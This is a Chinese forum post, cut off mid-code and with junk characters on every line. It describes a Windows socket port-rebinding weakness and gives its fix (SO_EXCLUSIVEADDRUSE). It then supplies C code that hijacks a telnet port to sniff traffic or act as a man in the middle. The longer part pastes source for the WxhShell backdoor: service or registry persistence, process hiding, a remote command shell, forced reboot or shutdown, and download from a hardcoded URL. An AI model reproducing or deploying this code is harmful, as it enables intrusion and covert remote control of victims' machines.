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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  r}_c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _A_ A$N~9  
DrW#v-d  
  saddr.sin_family = AF_INET; ]1-z! B4K  
M.}7pJ7f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~=r^3nZR/J  
$WQq? 1.9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f2)XP$:  
O!1TthI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y? (2U6c  
PG5- ;i/  
  这意味着什么?意味着可以进行如下的攻击: 9<CG s3\  
-5G)?J/*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \Xrw"\")j  
M<?Q4a'Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IputF<p  
Jc4L5*Xn/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BG2)v.CU  
YOyX[&oi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 +9 Ze9  
<pLT'Y=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f5RE9%.#~  
#:fQ.WWO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c2SC|s]  
Si}HX!s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DLPUqKL]  
&(rWwOo6  
  #include *mG`_9  
  #include .~lKBkS`!  
  #include I XA>`D  
  #include      \J^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Tn-C>=tR~%  
  int main() vy@rQC %9  
  { o(A|)c4k  
  WORD wVersionRequested; JYqSL)Ta*t  
  DWORD ret; C}g9'jY  
  WSADATA wsaData; ig"uXs  
  BOOL val; D6D1S/:ij'  
  SOCKADDR_IN saddr; e>'H IO  
  SOCKADDR_IN scaddr; >gtQw!  
  int err; ye 6H*K  
  SOCKET s; Y[ reD  
  SOCKET sc; 6x{<e4<n  
  int caddsize; ]pA(K?Lbg  
  HANDLE mt; }SyxPXs  
  DWORD tid;   rk2xKm^w  
  wVersionRequested = MAKEWORD( 2, 2 ); EER`?Sa(  
  err = WSAStartup( wVersionRequested, &wsaData ); M s9E@E  
  if ( err != 0 ) { RH0>ZZR  
  printf("error!WSAStartup failed!\n"); :)f7A7:;  
  return -1; mbl]>JsQD  
  } b}ODWdJ1  
  saddr.sin_family = AF_INET; yKagT$-  
   %bXx!x8(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JF9yVE-  
F^aR+m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~iBgw&Y  
  saddr.sin_port = htons(23); c{ZY,C&<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CLD-mx|?  
  { ;Z[]{SQ  
  printf("error!socket failed!\n"); !H][LXB~H  
  return -1; YEu1#N  
  } K?x,T8<aW  
  val = TRUE; :!&;p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XhzGLYb~I`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l2%bF8]z  
  { mwv(j_  
  printf("error!setsockopt failed!\n"); oj,lz?  
  return -1; MWk:sBCqr  
  } IHfzZHy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S&C1TC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l*b)st_p%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Gm`}(;(A  
B DY}*cX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `[#x_<\t  
  { rtJl _0`  
  ret=GetLastError(); `pZs T ^G[  
  printf("error!bind failed!\n"); W_O)~u8  
  return -1; G}@#u9  
  } 5M]z5}n/  
  listen(s,2); \b'x t  
  while(1) y@bcYOh3  
  { Sx gYjIa-  
  caddsize = sizeof(scaddr); /e\{    
  //接受连接请求 5pNY)>]t=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V5"CSMe  
  if(sc!=INVALID_SOCKET) 3b'tx!tFN  
  { "yz iXT@V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :R6bq!  
  if(mt==NULL) SDG-~(Y  
  { D*5hrkV9  
  printf("Thread Creat Failed!\n"); rR ES8/  
  break; !2CL1j0(  
  } >4m'tZ8  
  } Y/TlE?  
  CloseHandle(mt); ;P&y,:<m:  
  } gMWBu~;!  
  closesocket(s); `?*%$>W#"  
  WSACleanup(); Sydh2d  
  return 0; HC {XX>F^  
  }   Dq\ Jz~  
  DWORD WINAPI ClientThread(LPVOID lpParam) T[k4lM  
  { JN/UUfj  
  SOCKET ss = (SOCKET)lpParam; z_;3H,z`  
  SOCKET sc; =+5,B\~q@C  
  unsigned char buf[4096]; }g +;y  
  SOCKADDR_IN saddr; ~Vh(6q.oT  
  long num;  9DQ)cy  
  DWORD val; Op.8a`XLt&  
  DWORD ret; {s?M*_{|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vq*Q.0M+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |s7`F%  
  saddr.sin_family = AF_INET; E! /[gZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 09KcKhFB  
  saddr.sin_port = htons(23); _R|Ify#J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lA!"z~03*  
  { I-D^>\k+  
  printf("error!socket failed!\n"); 4rK{-jvh>m  
  return -1; Agh`]XQ2  
  } sML=5=otx  
  val = 100; # m R4fst  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :pX`?Ew`g  
  { 2N#$X'8  
  ret = GetLastError(); -Ue$T{;RoH  
  return -1; .D,p@4  
  } tbo>%kn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zv]x'3J#Y  
  { `cz2DR-"  
  ret = GetLastError(); 'z@0  
  return -1; 2Q7R6*<N:  
  } &K_)#v`|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t9 \x%=  
  { 5[l8y ,  
  printf("error!socket connect failed!\n"); c:S] R"  
  closesocket(sc); E9\vA*a  
  closesocket(ss); 5la>a}+!!h  
  return -1; p;)"  
  } ,&PE6h n  
  while(1) \?>Hu v  
  { d4:`@*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qs\2Z@;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [%~ :@m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :Eh\NOc_O  
  num = recv(ss,buf,4096,0); HjvCujJ  
  if(num>0) 7 J^rv9i4  
  send(sc,buf,num,0); CZnK8&VDY  
  else if(num==0) r0t^g9K0  
  break; cEW0;\$  
  num = recv(sc,buf,4096,0); !IU.a90V  
  if(num>0) dG QG!l+>  
  send(ss,buf,num,0); dF0,Y?  
  else if(num==0) 3<=,1 cU  
  break; ;Mm7n12z C  
  } -m'j]1  
  closesocket(ss); WH ?}~u9  
  closesocket(sc); %:>3n8n  
  return 0 ; .Xm(D>>k  
  } hc (e$##  
]3ONFa  
&uP~rEJl+  
========================================================== 7*j (*  
rqv))Zo`  
下边附上一个代码,,WXhSHELL ERwHLA  
Yw5'6NU  
========================================================== T@}|zDC#  
hPq%L c  
#include "stdafx.h" d\e7,"L*Q  
4=uhh  
#include <stdio.h> yJuQ8+vgR}  
#include <string.h> }'r[m5T  
#include <windows.h> 3X9b2RY*L/  
#include <winsock2.h> Nu8Sr]p  
#include <winsvc.h> bNT9 H`P  
#include <urlmon.h> "G >3QL+O|  
Q 4CjA3  
#pragma comment (lib, "Ws2_32.lib") V)Z70J <'  
#pragma comment (lib, "urlmon.lib") 4'W'}o|{  
'65LKD  
#define MAX_USER   100 // 最大客户端连接数 &DqE{bBd!  
#define BUF_SOCK   200 // sock buffer R1&unm0  
#define KEY_BUFF   255 // 输入 buffer =4GSg1Biy  
' |-JWH  
#define REBOOT     0   // 重启 '` 'GK&)  
#define SHUTDOWN   1   // 关机 (E,T#uc{  
\~P=U;l=pO  
#define DEF_PORT   5000 // 监听端口 L@=3dp!\Cu  
V"cKJ;s  
#define REG_LEN     16   // 注册表键长度 .CP& bJP%  
#define SVC_LEN     80   // NT服务名长度 !4]9!<.k  
4|A>b})H  
// 从dll定义API (&$VxuJ+6y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B^).BQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iy""(c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `1:{0p2q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;lYHQQd!,  
"~TA SX_?  
// wxhshell配置信息 KfF!{g f  
struct WSCFG { 8* Jw0mSw  
  int ws_port;         // 监听端口 UH7jP#W%=  
  char ws_passstr[REG_LEN]; // 口令 -OSa>-bzNx  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jk,;JQ  
  char ws_regname[REG_LEN]; // 注册表键名 (a9d/3M  
  char ws_svcname[REG_LEN]; // 服务名 Y^<bl2"y8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bLt.O(T}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 % `Z! 4L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R$zH]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no phO;c;y}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3Hf0MAt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `est|C '+  
.k,YlFvj  
}; UA|u U5Q  
QeF3qXI  
// default Wxhshell configuration 'vNG(h#%d  
struct WSCFG wscfg={DEF_PORT, I%urz!CNE*  
    "xuhuanlingzhe", "Ks,kSEzu  
    1, J90v!p-  
    "Wxhshell", jt+iv*2N>  
    "Wxhshell", LdJYE;k Ju  
            "WxhShell Service", 4@xE8`+b G  
    "Wrsky Windows CmdShell Service", HaIM#R32T  
    "Please Input Your Password: ", hlt[\LP=$  
  1, v+9 9 -.  
  "http://www.wrsky.com/wxhshell.exe", g}]t[}s1]  
  "Wxhshell.exe" O$4yAaD X  
    }; 3G kv4,w<  
o6$4/I  
// 消息定义模块 aMTu-hA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4*$G & TX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7g3 >jh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rx}r~0i  
char *msg_ws_ext="\n\rExit."; jlxpt)0i  
char *msg_ws_end="\n\rQuit."; y+7PwBo%e  
char *msg_ws_boot="\n\rReboot..."; * RtgC/  
char *msg_ws_poff="\n\rShutdown..."; u{L!n$D7  
char *msg_ws_down="\n\rSave to "; *g^x*|f6  
0Lb4'25.  
char *msg_ws_err="\n\rErr!"; Kv~U6_=1O  
char *msg_ws_ok="\n\rOK!"; K$d$m <  
08*v~(T  
char ExeFile[MAX_PATH]; 0]4(:(B  
int nUser = 0; 4WK3.6GN  
HANDLE handles[MAX_USER]; W 5R\Q,x6  
int OsIsNt; j)q\9#sI/(  
J[&b`A@.o  
SERVICE_STATUS       serviceStatus; CD8}I85 K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RD.V'`n"  
U,LTVYrO  
// 函数声明 ^b %0 B  
int Install(void); g&{9VK6.  
int Uninstall(void); LW(6$hpPp  
int DownloadFile(char *sURL, SOCKET wsh); [<KM?\"1<  
int Boot(int flag); 9YBv|A  
void HideProc(void); )rixMl &[  
int GetOsVer(void); ~ar=PmYV7  
int Wxhshell(SOCKET wsl); KZeQ47|  
void TalkWithClient(void *cs); ccL~#c0P7  
int CmdShell(SOCKET sock); h\'n**f_x  
int StartFromService(void); VJS8)oI~  
int StartWxhshell(LPSTR lpCmdLine); 2@ Z(P.Gh  
e>AE8T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gmm.{%1_I;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h?pkE  
Nr=d<Us9f  
// 数据结构和表定义 Km^&<3ch#  
SERVICE_TABLE_ENTRY DispatchTable[] = )l#E}Uz  
{ h5K$mA5  
{wscfg.ws_svcname, NTServiceMain}, LlSZr)X  
{NULL, NULL} x+]\1p  
}; =yy5D$\  
l(Q?rwI8Y  
// 自我安装 5+wAzVA  
int Install(void) 5>TK^1 :  
{ 7>~5jYP  
  char svExeFile[MAX_PATH]; LupkrxV  
  HKEY key; 3@]SKfoo1  
  strcpy(svExeFile,ExeFile); b4pm_Um  
y.Z?LCd<  
// 如果是win9x系统,修改注册表设为自启动 b?'yAXk  
if(!OsIsNt) { Ggb5K8D*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RZCq{|L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kx%Sku<F'  
  RegCloseKey(key); rX1QMR7?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nj 00W1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T|6a("RL  
  RegCloseKey(key); Gmz6$^D   
  return 0; W='> :H  
    } lMbAs.!  
  } piZJJYv t  
} 9U%N@Dq`Z  
else { QMpoa5ZQG  
9*(aU z9j  
// 如果是NT以上系统,安装为系统服务 E)fglYWs2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a 7,C>%I  
if (schSCManager!=0) X ' "SVO.  
{ # m *J&  
  SC_HANDLE schService = CreateService 5hy""i  
  ( Y(cGk#0  
  schSCManager, 9\DQ>V TQ  
  wscfg.ws_svcname, =7o"u3hG  
  wscfg.ws_svcdisp, (/j); oSK  
  SERVICE_ALL_ACCESS, J":,Vd!*-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aX}P|l  
  SERVICE_AUTO_START, 6efnxxY}sa  
  SERVICE_ERROR_NORMAL, HF.^ysI  
  svExeFile, smDw<slC  
  NULL, ;/rXQe1  
  NULL, q+vx_4  
  NULL, x3"#POp  
  NULL, Bb"Bg\le,^  
  NULL >L 0_dvr  
  ); #*(t d<Cp  
  if (schService!=0) A`}rqhU.{-  
  { heK7pH7;d  
  CloseServiceHandle(schService); 4zo5}L `Y  
  CloseServiceHandle(schSCManager); a)'5Nw9*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y7i*s^ys{  
  strcat(svExeFile,wscfg.ws_svcname); DY?Kfvef  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7fba-7-P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YS%h^>I^  
  RegCloseKey(key); Pw61_ZZ4B\  
  return 0; i0$kit  
    } 8Bjib&im  
  } B,=H@[Fj  
  CloseServiceHandle(schSCManager); *9{Z$IA9w  
} oT>(V]*5  
} fL=~NC"  
m-*hygkcDu  
return 1; BjzPz  
} 8 {X"h#  
!GNBDRr  
// 自我卸载 :H wA 5Z#  
int Uninstall(void) u!W0P6   
{ AQ[GO6$,%H  
  HKEY key; } =]M2}  
@0u~?!g@  
if(!OsIsNt) { e!=kWc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F 70R1OYU  
  RegDeleteValue(key,wscfg.ws_regname); _`:1M2=  
  RegCloseKey(key); 7G>dTO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]n~ilS.rkl  
  RegDeleteValue(key,wscfg.ws_regname); _zwG\I|Q  
  RegCloseKey(key); d! LE{  
  return 0; @-!}BUs?  
  } VeQg -#&I  
} ZGKu>yM  
} @6]sNm  
else { Us0EG\Y  
j?x>_#tIY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T, )__h  
if (schSCManager!=0) ='Y!+  
{ In<n&ib  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9vvx*rD  
  if (schService!=0) ikv Wh<=>H  
  { vbC\?\_  
  if(DeleteService(schService)!=0) { k@3Q|na  
  CloseServiceHandle(schService); PC-"gi =h  
  CloseServiceHandle(schSCManager); .jk@IL  
  return 0; X6@WwM~qz  
  } NP/Gn6fr  
  CloseServiceHandle(schService); )6D,d5<  
  } :6 Lx@  
  CloseServiceHandle(schSCManager); 'DL`Ee\  
} E4~<V=2l  
} hUp.tK:X7o  
8)10o,#L  
return 1; 6&!PmKFO.  
} *&^:T~|=!  
[nrYpb4  
// 从指定url下载文件 zU gE~  
int DownloadFile(char *sURL, SOCKET wsh) 3 +G$-ru  
{ O\"3J(y,  
  HRESULT hr; 5',8 ziJQ  
char seps[]= "/"; 1Y7Eajt-5  
char *token; {^7Hgg  
char *file; }:KEj_~.  
char myURL[MAX_PATH]; rLI8pA|.  
char myFILE[MAX_PATH]; lE&&_INHQ  
'kL#]  
strcpy(myURL,sURL); , P70J b  
  token=strtok(myURL,seps); 5#+^E{  
  while(token!=NULL) uF9C -H@:  
  { pu 7{a  
    file=token; 3W3ZjdV+  
  token=strtok(NULL,seps); &h^9}>rVjV  
  } ]v]qChZHd  
pEIRh1  
GetCurrentDirectory(MAX_PATH,myFILE); =E.t`x=  
strcat(myFILE, "\\"); uj R_"r|l  
strcat(myFILE, file); uao0_swW5  
  send(wsh,myFILE,strlen(myFILE),0); Kgi<UkFP  
send(wsh,"...",3,0); %t" CX5 n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,^w?6?,&l}  
  if(hr==S_OK) kT"Kyd  
return 0; KLitg6&P  
else OZ |IA:,}  
return 1; jY% na HaI  
X.f>'0i  
} R3;Tk^5A  
'E/^8md>  
// 系统电源模块 X[PZg{   
int Boot(int flag) g!?:Ye`5  
{ Y&d00  
  HANDLE hToken; Ay5i+)MD  
  TOKEN_PRIVILEGES tkp; V'8s8H  
QLEKsX7p>  
  if(OsIsNt) { z$/_I0[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ] 2eK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YaKeq5%y  
    tkp.PrivilegeCount = 1; ||hb~%JK6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )4gJd? 8R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >*#1ZB_l  
if(flag==REBOOT) { }L+L"l&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m'6&9Ja k  
  return 0; TDFkxB>  
} zF8dKFE~  
else { .TND  a&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g X ]-\  
  return 0; JEahGzO  
} ;#xmQi'`  
  } z(_Ss@ $  
  else { ur$ _  
if(flag==REBOOT) { K1r#8Q!t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E:JJ3X|  
  return 0; E .7  
} RrX[|GLSJ  
else { a(kg/s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z~oo;xE  
  return 0; )}D'<^=#T  
} #A1Z'y0  
} trPAYa}W  
=j5MFX.-o  
return 1; wRcAX%n&  
} JJ}0gZ   
\r /ya<5  
// win9x进程隐藏模块 cZB7fmq%  
void HideProc(void) }!"A!~&  
{ 5][Ztx  
M)'HCnvs'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q|o}+Vr  
  if ( hKernel != NULL ) { QHVo#  
  { ^W'fA{sr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zLD0RBj7p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v0-cd  
    FreeLibrary(hKernel); /<@SFF.  
  } W-x?:X<}  
96 q_ K84K  
return; R< ,`[*Z  
}  87<-kV  
@wpN6 /   
// 获取操作系统版本 i]Fp..`v~  
int GetOsVer(void) z.$4!$q  
{ o<<xY<  
  OSVERSIONINFO winfo; U1DXe h~V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %_+2@\  
  GetVersionEx(&winfo); {["\.ZS|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) & -{DfNKc  
  return 1;  J7=+  
  else C~nzH,5  
  return 0; &Sl[ lXE  
} < ,Ue 0  
Ge-CY  
// 客户端句柄模块 b8V~S'6VqO  
int Wxhshell(SOCKET wsl) $FlW1E j  
{ Gb8D[1=u=  
  SOCKET wsh; p<TpK )  
  struct sockaddr_in client; WFO4gB*  
  DWORD myID; -BRc8 /  
+=q$x Ia  
  while(nUser<MAX_USER) ]w;rfn9D  
{ |zQ4u  
  int nSize=sizeof(client); U7 `A497Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CK,7^U  
  if(wsh==INVALID_SOCKET) return 1; 3Mxp)uG/  
OK{quM5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /4a._@1h[y  
if(handles[nUser]==0) ln?v j)j  
  closesocket(wsh); q#vQv 5  
else IhA5Wt0j  
  nUser++; 2_n7=&  
  } u=/{cOJI6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,_Z5m;  
4US"hexE<  
  return 0; l^|UCgRn  
} D}dn.$  
1QLbf*zeIW  
// 关闭 socket 62O.?Ij  
void CloseIt(SOCKET wsh) Pa{%\dsv  
{ cW i}V  
closesocket(wsh); r30 <(nF  
nUser--; 7on.4/;M  
ExitThread(0); 5Yl <h)1  
} ]|MEx{BG-  
=R#Qx,  
// 客户端请求句柄 zUKmxy@  
void TalkWithClient(void *cs) ny`#%Vs  
{ NF+iza;DP  
c lNkph  
  SOCKET wsh=(SOCKET)cs; :?/cPg'D  
  char pwd[SVC_LEN]; @&X|5p"[g  
  char cmd[KEY_BUFF]; 'yL%3h _@  
char chr[1]; LL2=&VK  
int i,j; Z?%zgqTXb  
A9wh(P0\  
  while (nUser < MAX_USER) { e6d<dXx  
U-IpH+E  
if(wscfg.ws_passstr) { kL$!E9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |QU <e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c17_2 @N  
  //ZeroMemory(pwd,KEY_BUFF); \~fONBY  
      i=0; W0l,cOOZJ  
  while(i<SVC_LEN) { %kdE un  
l y(>8F  
  // 设置超时 MFb9H{LA  
  fd_set FdRead; (CsD*U`h  
  struct timeval TimeOut; rd9e \%A  
  FD_ZERO(&FdRead); *QLI3B9V  
  FD_SET(wsh,&FdRead); ig/%zA*Bo  
  TimeOut.tv_sec=8; KU8J bl*   
  TimeOut.tv_usec=0; (>r[- Bft  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G5C I<KRK#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CbwJd5tk  
R:#k%}W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z@3i$8  
  pwd=chr[0]; }[ 4r4 1[  
  if(chr[0]==0xd || chr[0]==0xa) { M7@2^G]p  
  pwd=0; sOU1n  
  break; B]uc<`f  
  } tD+9kf2  
  i++; h"_MA_]~  
    } 1(|'WyD  
mGJasn  
  // 如果是非法用户,关闭 socket fp+gyTnd3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V+VkY3  
} wM2*#  
Mdl{}P0)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R )mu2 ^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4iKgg[)7`=  
MP!d4  
while(1) { "x3lQ  
{= F /C,-  
  ZeroMemory(cmd,KEY_BUFF); v 8$>rwB  
5 u*-L_  
      // 自动支持客户端 telnet标准   no< ^f]33  
  j=0; r\/9X}y4z  
  while(j<KEY_BUFF) { Z yE `/J'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x "^Xj]-  
  cmd[j]=chr[0]; bdQ_?S(  
  if(chr[0]==0xa || chr[0]==0xd) { L{h%f4Du#  
  cmd[j]=0; rvXWcu-"  
  break; m]5Cq6  
  } X@K-^8  
  j++; 1T-8K r  
    } :'~ Y  
;#oie< Vit  
  // 下载文件 >g+?Oebgw  
  if(strstr(cmd,"http://")) { o1FF"tLkN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :=wT vz  
  if(DownloadFile(cmd,wsh)) e^<#53!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j^^Ap  
  else XqW@rU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L1Iz<>  
  } Gu2P\I2zx  
  else { }Ub6eXf(2  
n&-qaoNl  
    switch(cmd[0]) { %we u 1f  
  <;#~l*  
  // 帮助 <iH`rP#  
  case '?': { ?q; Fp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rzh#CnL3  
    break; Db;G@#x  
  } ?i06f,-  
  // 安装 b0Kc^uj5  
  case 'i': { 5ZMR,SZhC  
    if(Install()) :yeq(o K,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:3QBMk::  
    else Gcig*5   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 59O?_F9  
    break; Z(Bp 0a  
    } 20Z8HwQi  
  // 卸载 3>R#zJf  
  case 'r': { ? P( ZA  
    if(Uninstall()) :&:JTa1cv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8"fD`jtQ  
    else IuNiEtKx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^V#@QPK9  
    break; yp66{o  
    } |=$-Wu  
  // 显示 wxhshell 所在路径 J,AR5@)1  
  case 'p': { JvT"bZk( o  
    char svExeFile[MAX_PATH]; @ ]/AjjLt  
    strcpy(svExeFile,"\n\r"); q~*t@  
      strcat(svExeFile,ExeFile); Fv Jd8kV  
        send(wsh,svExeFile,strlen(svExeFile),0); ,B0_MDA +  
    break; rxy&spX  
    } p\JfFfC  
  // 重启 IaT$ 6\>  
  case 'b': { C\di7z:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w Axrc+  
    if(Boot(REBOOT)) R0L&*Bjm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DBT&DS  
    else { SL;9Q[  
    closesocket(wsh); Hrzf'a|^  
    ExitThread(0); rwG CUo6Z  
    } `$B3X  
    break; 82]vkU  
    } R8T] 2?Q1  
  // 关机 -tyK~aasQ  
  case 'd': { /l<<_uk$  
